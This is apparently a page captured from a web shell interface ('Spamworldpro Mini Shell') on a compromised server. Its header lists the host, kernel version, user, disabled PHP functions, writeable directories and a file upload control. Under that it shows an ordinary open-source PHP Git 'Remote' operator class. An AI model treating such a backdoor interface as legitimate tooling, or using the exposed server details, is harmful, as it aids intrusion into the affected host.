Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/sebastianfeldmann/git/src/Operator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/sebastianfeldmann/git/src/Operator/Remote.php
<?php

/**
 * This file is part of CaptainHook.
 *
 * (c) Sebastian Feldmann <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace SebastianFeldmann\Git\Operator;

use RuntimeException;
use SebastianFeldmann\Git\Command\Add\AddFiles;
use SebastianFeldmann\Git\Command\DiffIndex\GetStagedFiles;
use SebastianFeldmann\Git\Command\DiffIndex\GetStagedFiles\FilterByStatus;
use SebastianFeldmann\Git\Command\Fetch\Fetch;
use SebastianFeldmann\Git\Command\Pull\Pull;
use SebastianFeldmann\Git\Command\RevParse\GetCommitHash;
use SebastianFeldmann\Git\Command\Rm\RemoveFiles;
use SebastianFeldmann\Git\Diff\FilterUtil;

/**
 * Remote Operator
 *
 * @package SebastianFeldmann\Git
 * @author  Sebastian Feldmann <[email protected]>
 * @link    https://github.com/sebastianfeldmann/git
 * @since   Class available since Release 3.9.4
 */
class Remote extends Base
{
    /**
     * Fetch remote updates for a branch
     *
     * @param string $remote
     * @param string $branch
     * @return void
     */
    public function fetchBranch(string $remote = 'origin', string $branch = ''): void
    {
        $cmd = (new Fetch($this->repo->getRoot()))->remote($remote)->branch($branch);
        $this->runner->run($cmd);
    }

    /**
     * Fetch remote update and merge them into current branch
     *
     * @param string $remote
     * @param string $branch
     * @return void
     */
    public function pullBranch(string $remote = 'origin', string $branch = ''): void
    {
        $cmd = (new Pull($this->repo->getRoot()))->remote($remote)->branch($branch);
        $this->runner->run($cmd);
    }
}

Spamworldpro Mini